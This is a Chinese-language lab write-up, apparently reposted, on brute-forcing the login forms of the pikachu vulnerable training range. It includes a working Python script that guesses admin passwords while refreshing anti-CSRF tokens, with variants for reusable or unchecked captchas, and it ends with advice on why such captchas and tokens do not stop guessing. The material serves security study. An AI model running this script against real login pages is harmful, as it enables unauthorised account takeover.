暴力破解-Python工具篇


在對pikachu靶場的暴力破解進行測試時,我們可以使用burpsuite進行爆破,也可使用Python腳本進行自動化爆破
以下內容主要記錄本次使用Python進行暴力破解的思路:

通過burpsuite進行截斷,獲取客戶提交的http請求信息:

通過burpsuite截斷信息,我們可以獲取cookie及post提交的字段信息;

根據獲取到的信息編寫Python腳本:

import requests
from bs4 import BeautifulSoup
s = requests.session()
password = ['123', '456', '123456', '67899']
# 設置http請求頭部信息
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                  ' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
    'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}
req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
# token驗證
token= BeautifulSoup(req.text,'lxml').find('input',{'name':'token'}).get('value')
for pa in password:
    # 基於表單的暴力破解
    # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'})
    # 驗證碼繞過(on server)未失效,可重復使用
    # data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'}
    # req = requests.post(url='http://pikachu.hack/vul/burteforce/bf_server.php',
    #                     data=data, headers=header)
    # 基於client端驗證碼,后台無校驗
    # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'})
    # 基於token驗證
    req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'token':token,'submit':'Login'})

    if 'success' in req.text:
        print("爆破成功,用戶名:admin,密碼為:%s" % pa)
        break
    else:
        req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
        token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')

  通過分析,我們可以發現,不是存在驗證碼就是安全的,若驗證碼在不刷新頁面的情況下,可以反復使用,那么我們只需要枚舉用戶名、密碼即可。可能部分頁面存在唬人的情況,頁面存在驗證碼,但實際上后端並未對驗證碼做校驗。

      較為安全的是為每次請求都生成隨機的token,在提交請求的時候,對token字段也進行校驗。通過以上代碼我們可以發現,即使是存在token的情況下, 若沒有登錄限制,我們仍然可以對用戶名等進行爆破。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM